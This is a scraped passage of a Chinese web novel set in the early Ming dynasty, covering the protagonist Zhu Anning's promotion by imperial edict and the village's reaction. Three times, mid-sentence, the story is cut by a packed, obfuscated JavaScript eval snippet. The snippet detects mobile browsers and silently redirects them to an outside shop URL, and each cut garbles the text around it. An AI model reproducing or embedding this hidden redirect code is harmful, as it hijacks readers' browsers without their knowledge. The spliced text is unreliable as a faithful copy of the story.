“东宫赞读朱安宁,献宝有功,升少詹事,辅佐太子。” 朱元璋的话,还在院子里回荡。 炭烤番薯土豆的香气还萦绕在院子中。 清炒土豆丝和醋溜土豆片,已经所剩无几,凉了大半。 众人听得清楚,却只能张着嘴巴,久久没有言语。 方才的千户,镇抚虽然很让他们眼红,眼红自己的孩子为什么没这个机会,但是终归他们还是认可李景隆,刘廌,刘畾、李祺等人的出身的,人家爹爷爷都是从龙上来的有爵位的啊。 而这朱安宁? 哪里冒出来的野人? 啊? 东宫赞读? 什么犄角旮旯的芝麻官啊…… 少詹事可不是什么乱七八的小官,虽然不是正詹事,但是在现在没有詹士的情况……他不就等于是詹事了么! 献宝有功又是什么情况,也就是说刚才自己吃的番薯土豆,都是这人献出来的。 他如何得到的! 而且这个赞读究竟是哪里冒出来的啊! 一群大臣开始了头脑风暴。 却久久未能得到答案。 只能一脸茫然。 其实明初,朱标作为历史上权柄最重的太子,可是日常监国的,老朱班底里的人,实际上就是朱标的班底。 所以他根本不需要另外培养年轻人。 或者说,他一直在培养年轻人。 直接在朝堂上培养,而不是他的东宫。 任谁都知道,朱标就是板上钉钉的下一任皇帝,没有皇子会有异议,也没有大臣会有异议。 这让朱标的詹事府,成了个摆设。 之前教朱标的文臣武将,早就不用再教授他……这詹事的教授辅导功能基本就不存在…… 而詹事府作为东宫小朝堂,更是没有存在的必要……他朱标直接上朝就好了啊,朱元璋把屁股一挪,朱标坐上去,谁会BB?神金啊,脖子耐砍? 所以才会有之前朱元璋和朱标所聊的,詹事府,皆是勋贵子弟的说法。 说白了,现在这个基本没什么职能的詹事府,就是用来塞勋贵子弟,洗履历挂职的地方…… 毕竟不是每个大臣勋贵之后,都那么有能耐,或者说有那么多资源去投资。 比如那些庶出的子弟,没办法子承父爵,放詹事府,挂个职,也不用干实事背锅,美哉。 这事是朱元璋和朱标默许的。 只是他们没想到的是,随着这些年稳定下来……塞到詹事府的人,那是越来越多。 多到朱标都看不下去眼那种。 虽然有部分是真的有能耐的,比如宋慎,但是更多的就是那种反正也无法承袭爵位,每天就是无所事事,无功也无过的那种少爷。 他们老爹大部分都是在朝堂兢兢业业的功臣,老朱也不会说太过为难他们,但是心不心烦,那就不好说了。 这便是詹事府的现状。 而现在,詹事府,在没有詹事的情况下,即将迎来一个,非勋贵出身的少詹事,准备统领他们。 “朱詹事,统管詹事府,辅助太子。肥料、新粮事宜交由太子全权处理!朱詹事及詹事府,全力协助。” 朱元璋下了最后的旨意。 一众人等虽然满脑子的疑问,却也只能俯首答是。 心中也欣喜了起来。 这是分功??? 大家可都是有孩子在詹事府里的啊! 不管这朱詹事是谁,只要他带着大家,把这事给办好了,岂不也是大功一件! “陛下圣明!” 这次的赞颂,再也没了长篇累牍,但是却多了些真心实意。 朱元璋看着俯首的众人,讥讽地勾了勾嘴角。 朱安宁是谁,他可是连本皇帝都敢顶的憨货,自己把他丢去詹事府,就是为了治你们家孩儿的,结果你们还感恩戴德! 须知道,我老朱的功,可不是那么好拿的啊! 朱标看着自己老爹的笑容。 也是毫不掩饰自己的笑意。 解决詹事府的历史遗留问题,他已经想了许久,现在,终于有这个机会了。 至于朱安宁会不会失败这个问题。 老朱是懒得考虑的。 朱元璋深吸了一口气,这粮是事情,终于安排下去了。 接下来,便是新式火器,和大明宝钞的事了。 他目光如炬,侧目,看向了殿内,那案台下方,正放着昨夜,赵集连夜送进宫来的火绳枪。 “诚意伯,曹国公,韩国公,户部杨思义,兵部董俊留下,其他人吃饱就可以散了。” 老朱,拍了拍手,转身,就走回了殿内。 朱标也是跟了进去。 而此时,还在永乐庄的新任朱詹事,此时正在和朱棣吵架。 “田你也不管,学堂你也不去理,你想干嘛?!” “朱哥,我……我想去看那火绳枪啊,昨天你们去试枪怎么不叫我!我我百步穿杨啊!” “你穿你个大头鬼啊穿!” “诶你怎么就不信我呢。” 朱棣很是委屈,早餐就是囫囵吃了点,他也不知道朱安宁是不是吃 了火药,一大早就猛怼他……心情很是郁闷。 结果现在想去看看火绳枪,还被朱安宁拦了下来。 “不许去,你得帮我去接那个方孝孺,今天是约好他要过来我这里打工的日子。” “打工?就是做工吧,啊~~~他真的过来啊……” 朱棣哀嚎了两声,那更是郁闷到不行,他本就不喜方孝孺,现在还被迫去接他。 “啧,又不麻烦,你就接了他,然后教他学堂怎么上课,再让他试试讲话本?” “他讲话本?!” “嗯,也是,别一会把我学生给讲睡着了……还是你来吧……起码你得教会他基本的上课流程吧。” “好好好,朱哥我教,教好了我可以去赵大人那里看火绳枪么?” “田里的事呢?” “现在田里能有什么事,等收获了啊都,我们永乐庄的田,看着就要比其他村里那些七歪八扭的产量要高。” “行了行了行了,我们产量高还不是靠化肥……呃肥料。”朱安宁顿了顿,又继续说道:“对了,肥料的事情我全部交给成梁的,有机会你跟你大哥说一声?帮我报给太子,就说永乐庄肥料生意全权交给成梁了。” “哎,朱哥你自己说就行……不过肥料那么大件事……你就给成管事了?” “那不然给你管?” “我不要,我又不是你的管事!” “我靠,你不是我管事,你吃我的喝我的穿我的!” “诶诶诶朱哥,衣服可是我自己带的!” “还敢啵嘴,可恶,行了,赶紧去接那个方希直。”朱安宁一副做势要打的样子,朱棣却也不是很怕。 他嬉笑着回道。 “朱哥,怎么感觉你好像都把事情全部给推出去了啊,那你干嘛啊?” 朱棣问了个很现实的问题,然后又调笑似地续了句:“该不会是想偷懒吧。” “我偷你个大头鬼,朱爷我是有大事要办。” “什么大事嘛,能讲么?” “又不是什么机要事情,咱们学堂那边建房子时,我不是要求要建多几间么,现在是时候派上用场咯。” “啊?” “教孩童是教,庄里那些老农们,不也得教一教么?” 朱安宁,咧嘴,笑了起来。 “当然,不是现在就教,等到收获之后,农闲了,我自然要好好教一教他们接下来怎么耕种,特别是我们的番薯土豆。” 他看了眼库房里的存货,很是开心。 永乐庄原本就是他随手建起来的,但是住久了依旧是有感情的。 特别是和一众农夫熟稔之后。 那他更是把这永乐庄当做了自己明朝的故乡。 人总得有个出身不是么? 他朱安宁的出身,现在就是应天府永乐庄。 而他带来的东西,接下来将极大地改变明朝的生态系统。 首先受益的,自然是永乐庄。 朱安宁踱步到了田地边。 院内的实验田,大部分早就已经收获完毕。 就剩下辣椒和还未结果的西红柿。 以及那逐渐成熟的玉米。 玉米这个也是优良主食,尤其适合中国。 最关键的是,它无所谓什么光热条件,粗糙着也能活,就是结得少而已。 所以很多山地的碎田,是很适合种玉米的。 这种粮食,还未到真正收获的时节,他想着到时再给伍文看。 毕竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378774|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,玉米脱粒后的产量,其实是远不及土豆番薯的…… 朱棣则打着哈欠来到了朱安宁的身边。 “老农们应该会愿意过来听吧,但是朱哥,你花大力气去给他们上课,真的有必要么?” “有啊,怎么没有呢,一旦他们接受了上课这件事情,那未来又有什么新鲜事物出现,我也能第一时间组织他们过来听,不是么?” “好像是怎么回事。” 朱棣还是听得云里雾里。 只有朱安宁清楚,他是在为永乐庄的农户们,未来转型做他的产业工人做准备。 不过这事是需要从长计议的,他现在想做的是肥料加工厂和配套的运输工人,他目前只想把生意做到这应天府境内,毕竟这应天府听着是一个城的范围,实际覆盖极广,等他能把这应天府给搞定,他才会考虑外地。 朱棣也不知道他的朱哥能想这么多,他目前想的事情是。 既然朱哥交代了自己要去接那个恶心人,那就去接吧。 早点把人带回来,教好了,让他去学堂上课,自己也好抽时间出来去看那火绳枪。 这是好东西啊! 如果好用的话,未来自己就藩了,能不能带几千杆过去啊,那不得杀到那些元人老家去啊。 一想到这里,朱棣就忍不住笑了起来。 在朱安宁眼里,只觉得有些恶心……像极了以前上学时同桌做白日梦的样子…… “行了,别发呆了,赶紧去接人。” “好嘞。” 朱棣是突然有了动力,蹦跶着就往门外跑去。 朱安宁,则回到了房车上,他需要做的事情是,准备未来培养产业 工人的资料。 以及计算供给一个应天府,究竟需要多少肥料。 他的土肥料中需要加入尿液,这个东西还是有点麻烦的,他需要估算产量。 一想到这里,他便萌生了个想法。 “要不要去应天府各个村子里,考察下?” 他嘟囔着,关上了房车门。 而此时的永乐庄外,方孝孺已经等得有些抑郁。 那天回应天府后,他的老师宋濂就严厉地说教了他,最后更是让他好好在永乐庄沉淀自己。 虽然有点不服,但是尊师重教,他也不敢说什么。 他现在等得抑郁倒不是他脾气大,而是太阳好晒。 明明之前已经遣人通过书信,说好了就是这个时辰,会有人来接自己。 怎么现在毛人都没有,反而是自己站久了,旁边驿站那几个看起来就陌生的卫兵,看自己的眼神都不善了起来…… 这可真是让他有些抑郁了。 在方孝孺望眼欲穿的时候。 一个人影出现在了道路的尽头。 有些熟悉。 但是风大,草又深,方孝孺终归还是没看得那么清楚。 直到……那人走到自己面前。 朱棣。 板着脸走到了他的跟前。 方孝孺不自觉地后退了半步,但是他想了又想,自己是有正当理由站在这里的,竟又是往前走了一步。 “方孝孺,你读书是厉害,但是我家先生也不差,你输了就是输了,能不能收一下你的脾气?” 朱棣轻哼了声,很是不爽。 “我自会履行赌约。” 沉默了片刻,方孝孺回道。 而后,他突然又开口补充。 “永乐庄,朱先生,确实有才,不然也无法教导出如此聪慧的孩童,那两人见识见识并非是寻常孩子,可见先生功底深厚,既然朱先生有此等大才,为何不入朝为官!辅佐圣上,反而是窝在这山窝窝里,做这些劳心费神的农事!” 这些话,他已经算是斟酌许久,上次输了之后,他一直在看宋濂带回去的注解,那是惊为天人,只觉得好久没看过那么通俗易懂的解释,所以他隐隐还是很佩服能写出这些注解的域外大儒,自然也就对域外大儒薛金星王后雄的传人朱安宁,高看一眼,觉得他确实是个人才。 朱棣一听,那是白眼差点翻上天。 本想回两句话。 官道那边,却突然尘土飞扬了起来。 是插着宫廷旗帜的金吾卫,正骑着马,疾驰而来。 PS:今天不用等啦,就这4k先,明天继续6k,不许骂我短小!!可恶啊!!! 第一百七十一章 接旨是否得有点仪式感 朱棣和方孝孺,看着那金吾卫由远及近,都有些懵逼。 什么情况。 需要出动到金吾卫。 那宫廷旗帜相当扎眼,不仅是他们,连驿站的卫兵,更远处正在忙活的农民们,都抬起了头来。 一脸茫然地看向了这疾驰的一人一马。 “官兵?”有老农抹了抹眼角的汗水,向身旁的人问道。 “唉哟那军爷还穿着盔甲,好威风啊,这马也太高大了吧……用来犁田一定很有力吧!” “你个憨货,哪有用马来犁地的……” “咦,没试过哪知道不行……诶,这官兵好像是来咱们庄子的诶。” 老农猛地站了起来,不再是弯腰抬头的姿势。 如他一般的人,有很多。 把头埋在土地上,稻穗前的农民们,像受惊了的狐獴般,一个又一个地站了起来。 “有古怪,老柳,你赶紧去找朱爷。” “是不是朱爷院外那个铁冶的人犯事哩。” “那铁冶不是说是城里官家的窑么,能犯什么事!你赶紧去找朱爷吧,你跑得快,别又整什么大事……” “好嘞。” 柳文的父亲,老柳,慌忙跑了起来,方向自然是朱安宁的小院。 那金吾卫速度极快,毕竟马,可是上等的好马,一骑绝尘,终究是到达了驿所的位置。 几个站岗的亲卫微微侧过身子,行了个礼。 那金吾卫也没什么多余废话,他直接跳下马。 准备找那驿所的亲卫问路。 毕竟……他也没来过这永乐庄。 而在他下马的瞬间,他却瞄到了意外的人。 作为宫中亲卫中的亲卫,他是见过朱棣的。 “燕……殿下!”他连忙变换了路线,冲到了朱棣面前行礼。 这也是把朱棣吓了一跳,连忙挥手回道:“不必多礼,这儿的人大多都不知道我身份……” 那金吾卫的礼行到一半,被朱棣扶了起来。 也是把这金吾卫弄得有些懵。 他接到的命令是过来宣旨。 哪能知道这地还有个燕王。 至于燕王旁边那个穿着儒生袍子的人是谁……关他什么事,不认识…… “殿……” “叫我燕爷就行……” “燕爷,我是奉命前来宣旨的,敢问这永乐庄庄主朱安宁是否在此。” “找朱哥?他在院子里……”朱棣摸着下巴想了想,然后立马便笑了起来。 宣旨。 大概是,要赏朱哥官职了吧。 毕竟,这土豆番薯都种出来了。 他一下就猜出了这金吾卫来的目的。 便连忙给他指了个路。 两人便看着金吾卫急冲冲地往里面跑去。 朱棣也没管方孝孺,他也跟着跑了上去。 朱哥升官啦!他得去凑这热闹,朱棣蹦得相当快,早就把什么接方孝孺,教他上课之类的事情,抛到了九霄云外。 方孝孺虽然不知道发生了什么,但是金吾卫他还是认得出来的,便也只能是无奈地跟着朱棣往前跑去。 村口,很快就只留下了那两个有些无言的亲卫,和那棵歪脖子树……以及,金吾卫留下的马匹,在那尥了下蹶子。 那金吾卫手握圣旨,跑得那叫一个快。 他接到的可是急旨,是万万不敢怠慢的。 但是当他拐过一个河湾后,却也是不由得脚步缓了缓。 这庄子什么情况! 为什么有个这么大的铁冶在这里!!! 而且这是官冶吧,他看到了身穿官服的工部主事们,在那忙前忙后……而且他眼睛没瞎的话,工匠手里造的好像是,火器??! 金吾卫低头看了眼自己手中的圣旨,不免也是好奇了起来。 这朱安宁……谁啊…… 姓朱啊…… 不行,不能再想下去了。 他咬牙不敢再看那铁冶。 铁冶的人却全部看向了他。 “这不是金吾卫么……老钱,你看。” 一个主事捅了捅另外一人。 两人凑在了一起。 虽然他们品级不高,但是也是应天府里干活的人,自然能认出金吾卫。 “金吾卫跑我们这里来干嘛,给我们传旨?不对啊,我们这批火器还没造完呢……诶,老王,不对,不是给我们传旨的,他往那边跑了!” 那主事一边说,一边也是跟着金吾卫跑过去的方向开始移动。 不仅是他,好几个主事都是这般。 好奇是人之常情,看热闹更是人的天性。 连带着,不少工匠都动了起来。 除了两个看炉的,不敢走开,只能垫着脚,暗自骂了两声自己怎么这么倒霉今天轮到看炉子。 于是,跟着金吾卫移动的人,又多了些。 那金吾卫没有回头,是根本不知道后面发生了什么。 他越过铁冶,很快就看到了朱安宁的小院,终于是舒了口气。 赶紧完成自己的任务先吧。 他的速度终于是缓了些,因为一会要宣旨,他可不敢让自己的声音太 喘或者太抖,他是代表朱元璋而来的,决不能有失礼仪。 而此时,田的那边,浩浩荡荡的,大半个永乐庄的村民,都在向这边聚集。 他们聚集的原因很是简单…… 那老柳一边跑,一边跟人解释,有个穿着盔甲的官兵,骑着两个人高的马,来庄子里啦。 他夸张的描述……成功吸引了足够多的吃瓜群众。 于是,一众村民,从各个田里开始呼朋唤友,最终聚集起了最大的一批吃瓜队伍,队伍中,不出意外的……出现了那批本该在乡学里的孩童们,近两天都是胡修道和柳文在帮忙管孩子,但是他们的好奇心可是比那些老农还要旺盛的,当他们透过窗户,看到一大群人汇集起来的时候,哪还坐得住,直接就领着一众孩子,跑了出来。 当然这永乐庄的一大群人,速度最慢的。 他们跟在了那批工匠的后面。 而这些,金吾卫仍旧是不知道的。 他平缓了下自己的呼吸,顺便整理了下自己的盔甲,保证自己是庄严而肃穆的样子,然后才敲响了那院门。 门内传来了跑动声,还在院中的成梁,醒目地承担起了管家的工作,正在和朱安宁喝着茶的他,迅速起了身,跑去开了门。 然后,他看到的景象,足以让他懵逼至少一炷香的时间。 高大威猛的金吾卫,正在注视着他…… 这也就算了。 后面乌泱泱一群人是怎么回事…… 而且就这乌泱泱一群人,还安静得很,居然没有出声…… 这直接就把成梁的cpu给干烧了。 他张了张嘴,却不知道该说些什么好。 最后还是那金吾卫有经验。 “朱安宁何在?速来接旨!”金吾卫朗声喊道,他走进了门内,把成梁挤到了一边,然后对院内喊道。 其实他已经看到了里面的人,但是这种宣旨嘛,必须得有点流程,不然不对味。 下一步应该就是被喊到的人,带着激动的心,颤抖的手,来到自己面前跪下接旨才对。 可惜的是,事情又一次出乎了他的意料。 只见那应当就是朱安宁的人,确实是一溜小跑跑过来了,但是他却黑着脸,视线越过了自己,看向了后方。 自己身后有什么? 他也好奇了起来,但是现在是宣旨时间,按照流程,他是不能乱动的。 只能盯着朱安宁,希望他能快快跪下,听自己宣旨。 朱安宁也不是憨批,他是听清了这盔甲大哥说的是接旨!老朱居然给我朱安宁下圣旨了!看来真的是有大赏赐了。 看来是土豆番薯,还有昨晚赵集带回去的火绳枪,老朱很满意啊。 那这个赏赐……希望能来点实在的东西,比如什么白银万两,良田万亩之类的! 他隐隐有些期待。 但是还是止不住脸黑……他是面对着乌泱泱的一大群人的啊! 这尼玛发生了什么事。 宣旨就宣旨,这一帮人是哪来的。 怎么带头的还是伍燕和那方孝孺,接人要接回来没错,但是后面也太多人了吧!铁冶的庄里的,全是一副好奇得要死的样子…… 那金吾卫终于是不耐烦了起来。 “朱安宁?” “在!”这下朱安宁终于有了反应。 看见朱安宁有反应,那金吾卫也是长舒了口气,开始宣旨。 他展开了手中的圣旨,快速宣读起来。 “奉天承运,皇帝诏曰:朱安宁,汝自担赞读以来。献新粮以济民困,尽显汝之仁爱之心;献策以安社稷,足见汝之睿智之才。朕深知汝之忠诚与才干,特擢升为东宫少詹事,以资勉励。朕对汝寄予厚望,愿汝在新的职位上,继续发挥聪明才智,尽心尽力辅佐太子,共同谋划国家大计,为朝廷的繁荣稳定贡献更多力量。汝当秉持忠诚之心,恪尽职守,不负朕望。即刻上任,勤勉王事,勿得有误。钦此! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378775|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”金吾卫宣读完圣旨,虽然声音中带着一丝仓促,但每一字每一句都充满了威严与庄重,清晰地回荡在每个人的耳畔。 圣旨有点啰嗦。 大概率是内阁润色过的。 朱安宁长大了嘴巴,欲言又止。 那金吾卫看着眼前的朱安宁,真就是哭笑不得。 这人会不会规矩啊。 但是圣旨内容读出来,这金吾卫是瞬间知道了,这朱安宁很重要,超级重要,态度那是马上就不一样。 “咳……朱大人,接旨啊……接一下……” 他说得很小声。 朱安宁却也听得见,毕竟很近。 “哦哦哦,谢,谢陛下?” “对……谢陛下,说大声些……” “谢陛下!臣遵旨!”朱安宁在金吾卫的提示下,连忙接过了那材质一摸就很不一般的圣旨。 到这一步,那金吾卫的任务,算是完成了。 他真就是长舒了一口气,正准备拱手离开。 却忽然听到身后,好像炸锅似地一堆人叫喊了起来。 “什么?你听清了么?” “少詹事?” “什么官?” “俺不晓得啊 ,但是朱爷是当官了吧!” 一大群农民在那闹哄哄地说着话。 直接是把那金吾卫给弄傻了。 怎么? 刚才自己身后跟着这么一大群人? 怪不得刚才这朱大人会一脸黑…… 这庄子究竟是什么情况。 金吾卫有些哭笑不得。 但是不管怎样,他是时候退场了。 “朱大人,下官要回去交差了。” “啊?哦……啊,好好,慢走不送。”朱安宁拿着圣旨,挥了挥手,还是一副没能缓过来的样子。 金吾卫退场,相当迅速。 人群自动分出了一条路给他。 当他离开后。 一众人,看朱安宁拿着圣旨。 似乎是有点蛋疼地坐到了自己院子的门梁上。 久久没有言语。 最后是朱棣忍不住,走前了过去。 随着朱棣往前走,那人群是自发地又围近了些。 本来众人是想恭喜朱安宁的,虽然大部分人根本搞不清楚这少詹事是干嘛的,但是皇帝圣旨封的官,应该不小吧! 小部分知道少詹事是什么官的,更是惊骇不已。 那几个工部主事,那是拼了命想往前挤,想凑前来拍下马屁。 但是他们这身板,哪挤得过这群农夫,最后只能是苦笑着放弃。 还有一个听得懂少詹事代表什么含义的人,是方孝孺。 此时他满脸尽是苦涩。 隐隐,还有点羡慕的神情浮现在脸上。 少詹事,按现在詹事府的情况来看,就是统领詹事府了,作为太子的左臂右膀,这个官职应当是由朝堂中的优秀文人来担任才对,因为詹事还兼具一定的教育太子的职能……当然了,朱标太子现在是并不需要什么教导就是了。 总的来说就是,这是个相当吸引文臣的官职。 太子太师、太傅、太保这三个是正儿八经的太子教导,但是一般都是由真正的功勋老臣担任。 怎么轮都是轮不到普通文臣的。 所以少詹事……多好一官职啊…… 方孝孺想到自己还是无官身,真就是羡慕了起来。 当然,他有试图掩饰。 “朱哥,升官啦!”朱棣是一脸开心,本来他在永乐庄的任务之一就是劝朱安宁当官,现在不知不觉居然搞定了,这可太好了。 “嗯……”朱安宁也没管围过来的人有多少,反正这一圈,理论上都是永乐庄的人,他也是无所谓了。 铁冶的人都在外围。 “怎么,你不高兴?”朱棣觉得有些莫名其妙,这少詹事可是大官,而且又符合朱安宁的想法,是东宫的官。 他应该开心才对啊,怎么一副好像郁郁寡欢的样子呢,他有些不解。 “哎,这跟上次一样啊!” “上次?” “封赞读那次呗。” “什么一样……”朱棣隐隐有点不好的预感。 只见朱安宁是长长地叹了口气。 “封个官,嘿,钱银一毛没有,地也不给我两块!可恶啊!” 他的话并不大声。 但是起码是足够方孝孺和朱棣听清的。 方孝孺只觉得心头一堵,差点,就想吐血…… 第一百七十二章 吃席!吃席! 朱老爷好像当大官了! 这是永乐庄人民群众看到的事实。 那个高大的兵爷,文绉绉地读了一好大一篇圣旨。 文化水平不高的众人,大多数时间都是听得云里雾里。 但是总归有几个听懂了。 “老柳,什……什么意思?” “当官了,朱爷当大官了啊!” “大官?我就说朱爷对咱们这么好,朱皇帝知道了一定会赏赐朱爷的。” “什么奇怪想法。” “诶你别管老钱,老柳,说说朱爷当了什么官。” “詹……詹事?” “这什么官?有宰相大么?” “宰相?咱的宰相不都被宰了么?” “对比一下嘛!” “我怎么知道詹事什么官……兵……兵爷说辅佐太子?听起来很厉害啊。” “是啊!” “肯定是大官!” “对,大官!” 群众们纷纷发挥自己的主观想象力,然后在金吾卫离开的一瞬间,场面变得喧哗了起来。 一群人围住了朱安宁,却只看到他坐在门口,一脸无语的样子。 其实还是有人听懂了金吾卫的圣旨的。 比如,方孝孺,比如那群工部的主事,比如虽然不当官,但是也算是混迹官场的蒯富。 他们脸上露出的自然是羡慕的神情。 詹事啊,虽然是少的。 平民们不懂。他们可懂。 四品,统领詹事府,辅佐太子! 未来太子登基了,这少詹事那得是什么身份,想想就知道了啊。 当然了,方孝孺是羡慕之余,还有点想吐血。 自然是因为朱安宁那句:封个官,嘿,钱银一毛没有,地也不给我两块!可恶啊! 只有他和朱棣靠得最近,也只有他们两个听得最清楚。 其他人都淹没在喧闹声之中。 有人开始七嘴八舌地恭贺朱安宁。 特别是那群永乐庄的农夫,妇人们,最为积极。 “朱爷,恭喜啊!” 一众人也没管那么多,拼命往前挤,那是把坐着的朱安宁都吓了一跳。 躲在门后的成梁,还有站在一边的朱棣连忙转过身来对着众人。 “别挤别挤,一会踩着人了。” 两人连推带哄,不想让众人太过靠前。 直到后面快要拦不住,朱棣大吼一声:“方希直,帮忙!” “哦……哦哦……” 被挤在中间的方孝孺也是难受,他也只能转过身子开始帮忙。 看着这副场景,朱安宁也是麻溜地站了起来,站在阶梯上的他,比众人要高不少,刚好适合喊话。 “行了行了行了!你们一群人活不干围过来,干嘛,回去干活回去干活,朱爷我当了个小官而已,都回去都回去。” 他也怕众人一拥而上,发生什么意外。 结果乡学里那群孩子,却仗着自己身子灵活,居然直接钻到了内圈里。 胡修道直接就咧嘴笑了起来。 “朱爷,你当官了,是不是要离开我们庄啊。” “你傻啊,朱爷不得回家啊!”柳文在旁边白了他一眼。 几个小孩更是发出了灵魂拷问。 “啊?当官不住宫里么?” “住宫里的那是太监!!!” 吵闹声还在继续,伴着小孩们叽叽喳喳的声音,让朱安宁一阵头大。 牛魔的自己是当官又不是太监…… 他只能站在阶梯上大吼一句。 “你们回去乡学!!!大伙也都都回去干活!过两天我办流水席大家再来恭贺!” 寻了个理由,朱安宁是终于让场面安静了一瞬。 “吃席?” 这个感情好,孩童们最爱吃席。 那是直接就乐得跳了起来,在那鼓掌。 “吃席!吃席!”胡修道带头大喊。 老乡们都笑了起来。 几个妇人更是大喊了两声。 “办席我们来帮忙,到时朱爷你开口!” “好好好,我会开口的。” 朱安宁拉高了音调回话。 总算是把一众人劝离了这院落门口。 今天这事其实没有出乎朱安宁的意料,但是时间点是让他意外的。 他还以为伍文至少会过来先和自己打个招呼。 他还想和伍文说说火绳枪和肥料的事情……没想到来了个金吾卫,真是吓死人了。 虽说他是大心脏,但是心跳加速还是抑制不住。 看着人群渐渐散去,他也是松了口气。 坐了下来。 和他一般的还有朱棣,他也是累的够呛。 至于方孝孺和成梁则是站着,擦了擦额头的汗水。 “詹事……不对,少詹事,这官好像挺大啊……”朱安宁刚才吼了两句,有点耗费体力,现在不免有点喘气。 朱棣笑着回答了他的问题。 “四品,朱哥,少詹事可不是什么小官啊。” 这时,院门口四人组也是发现了,原来还有人没走。 正是铁冶的那些主事和蒯 富。 至于工匠,是被蒯富连骂带踢地给赶回去了。 “朱大人,高升啊!” 几个主事拱着手上来乐呵呵地祝贺着。 说起来他们和朱安宁也不陌生,前些时日,他有时间就泡在那里和赵集说事。 而且一众主事和蒯富都知道,高炉改良,焦炭炼成,铸铁产出一类,朱安宁都是出过策的,效果有目共睹,他们是十二分敬仰这年轻人的。 所以一名主事有些感叹地说道。 “朱大人高升詹事府,哎,怎么不是我们工部呢……朱大人可比那尸位素餐的麦至德麦郎中……” 王主事在那诚心诚意地感叹,却把剩下的几个主事吓得够呛。 “王大人!”有人甚至喝了声。 让那王主事也是反应了过来。 “啊……朱大人高升!” 他瞬间回味了过来自己在说什么,这里人可不少,乱说话是不对的。 可惜朱安宁已经听到了。 他回味了下。 麦至德? 是那个和郭桓一起砍了的贪官? 好像就是工部的吧,这就对上了。 这麦至德是工部郎中? 那怪不得那些铁器会这么【优质】…… 朱安宁瞬间想通了很多事情。 但是这王主事的话,在场的人心里都跟明镜似的,呵呵笑着直接无视了。 朱安宁也是立马换上了笑脸。 “谢谢诸位大人,还有蒯哥,过两日我这边摆几张席,一定要过来吃啊!” “好嘞好嘞,那就等着朱大人通知咯!” 这几人就是留下来在恭贺一次的。 作为官,他们总是要比民,多些规矩,不能说太过失礼。 于是几人拱了拱手,退了下去,很快回到了铁冶内。 院门口就只剩下了朱安宁四人。 “回去说回去说。” 朱安宁挥了挥手,示意大家回去。 而方孝孺却有些踌躇…… 他有些犹豫,该不该跟上去。 最后还是成梁有眼力见,他凑了过去,做了个请的姿势。 “方先生,这边请!” 这般有礼的邀请,总算给了方孝孺一个合理进去的理由…… 总不能真的站在外面被人当猴子看吧。 方孝孺是犟,不是傻…… 所以他也是麻利地说了声谢谢,跟了上去。 回到院中的朱安宁,那是长舒一口气,坐到了躺椅上,朱棣和方孝孺也是寻了个位置。 成梁此时就承担起了泡茶的任务,开始忙碌了起来。 “看那金吾卫跑过来,吓死你朱爷我了……” “朱爷你做的都是好事,又没做什么亏心事,怕什么?” “本能反应嘛,你看那金吾卫,估计一拳就能打死我……对了这少詹事和你哥比,怎么样。” “呃……大哥从来未说过他在东宫是干嘛的……” “啊?这么神秘。” 朱安宁有些咋舌,然后……他的思维开始发散。 深的太子欢心,能帮太子做很多事情,但是却未曾听过官职…… 等下,历史上,朱标,好像……好像取向是正常的吧! 难道这个明朝有点不一样? 一念至此,朱安宁的表情就开始精彩了起来。 方孝孺听着两人说话,不由得叹了口气,只感觉这朱安宁,真就是逆天……但是,他给出来的注解,和教导学生,又让自己无话可说。 看朱安宁好像对少詹事有些疑惑的样子,他也忍不住解释了起来。 “朱先生,少詹事,一般由文臣担任,因为有教导太子之职,不过本朝太子已监国许久,这少詹事更多的应该就是辅佐太子处理一些政事了。” 听见方孝孺说话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378776|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朱安宁也是有些意外,意外的是他说话的内容。 “什么?我真要去批折子???内阁干嘛吃的!” 这一番话,又把朱棣和方孝孺都给干沉默了。 批折子能轮得到你这个少詹事! 真就是痴人说梦。 不过方孝孺在不犟的时候还是很有耐心的。 他继续回答了朱安宁的问题。 “朱先生……这里说的辅佐政事,一般情况,更多的是一下较为易处理的琐事,并非是要事……” “啊,那就是帮忙打杂嘛……这个好,这个听着就安全些……” 朱安宁听完就笑了起来。 于是朱棣和方孝孺,沉默得更加振聋发聩…… 只是朱棣更熟悉朱安宁的做派,他摇了摇头,喝了口茶心里想的是。 到时……他知道大哥是太子,会怎样啊…… 以朱哥的性格,大概率会立马跑路吧…… “行了,你们也忙去吧,方孝儒,你跟着伍燕,去学堂吧。” 朱安宁突然开口换了个话题。 虽然突兀,但是这个时辰,确实也是得去学堂了。 朱棣也是点了点头。 方孝孺自觉跟上。 两人很快又出了院子。 是让在一旁准备倒茶的成梁一阵错愕。 “ 